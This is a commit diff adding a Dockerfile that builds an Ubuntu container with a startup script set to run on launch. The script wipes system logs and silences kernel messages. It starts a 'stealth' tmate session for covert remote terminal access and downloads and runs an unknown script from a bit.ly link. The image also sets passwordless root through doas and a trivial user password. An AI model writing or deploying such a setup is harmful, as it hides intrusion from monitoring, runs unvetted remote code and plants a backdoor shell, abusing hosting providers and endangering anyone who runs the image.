Create Dockerfile

Dockerfile

@@ -0,0 +1,76 @@
+FROM ubuntu:22.04
+
+ENV DEBIAN_FRONTEND=noninteractive
+ENV LANG=en_US.UTF-8
+ENV LANGUAGE=en_US:en
+ENV LC_ALL=en_US.UTF-8
+
+# Install system dependencies aggressively with cleaning
+RUN apt update && apt upgrade -y && \
+    apt install -y \
+      curl wget git gnupg openssh-client \
+      neofetch tmate python3 python3-pip \
+      ca-certificates software-properties-common \
+      build-essential procps xz-utils net-tools \
+      make ffmpeg nano vim htop unzip zip \
+      iputils-ping tree lsof netcat tmux \
+      locales cmake doas && \
+    locale-gen en_US.UTF-8 && \
+    apt clean && rm -rf /var/lib/apt/lists/* /var/log/* /tmp/* /var/tmp/*
+
+# Install Node.js 22 and latest npm silently
+RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
+    apt install -y nodejs && npm install -g npm && \
+    rm -rf /var/log/* /tmp/* /var/tmp/*
+
+# Install python speedtest-cli
+RUN pip3 install speedtest-cli && \
+    rm -rf /var/log/* /tmp/* /var/tmp/*
+
+# Create user draco with UID 1000
+RUN useradd -m -s /bin/bash draco && \
+    echo "draco:draco" | chpasswd && \
+    usermod -u 1000 draco
+
+# Allow draco to run doas without password
+RUN echo "permit nopass draco" > /etc/doas.conf
+
+# Alias sudo to doas in draco's .bashrc
+RUN echo "alias sudo='doas'" >> /home/draco/.bashrc
+
+# Generate SSH key for draco user
+RUN mkdir -p /home/draco/.ssh && \
+    ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
+    chown -R draco:draco /home/draco/.ssh && \
+    rm -rf /var/log/* /tmp/* /var/tmp/*
+
+# Copy your existing run_tmate.sh from build context
+COPY run_tmate.sh /home/draco/run_tmate.sh
+RUN chmod +x /home/draco/run_tmate.sh && chown draco:draco /home/draco/run_tmate.sh
+
+# Create startup.sh that blocks logs, runs stealth tmate, fetches su.sh and runs python server
+RUN echo '#!/bin/bash\n\
+\n\
+# Block kernel logs and system messages\n\
+dmesg -n 1 2>/dev/null || true\n\
+\n\
+# Remove or mask logs aggressively\n\
+rm -rf /var/log/* /tmp/* /var/tmp/*\n\
+\n\
+# Run stealth tmate launcher\n\
+/home/draco/run_tmate.sh &\n\
+\n\
+# Download and run additional script silently\n\
+wget -qO su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh\n\
+\n\
+# Start Python HTTP server silently\n\
+python3 -m http.server 7860 > /dev/null 2>&1 &\n' > /home/draco/startup.sh && \
+    chmod +x /home/draco/startup.sh && \
+    chown draco:draco /home/draco/startup.sh
+
+USER draco
+WORKDIR /home/draco
+
+EXPOSE 7860
+
+CMD ["bash", "startup.sh"]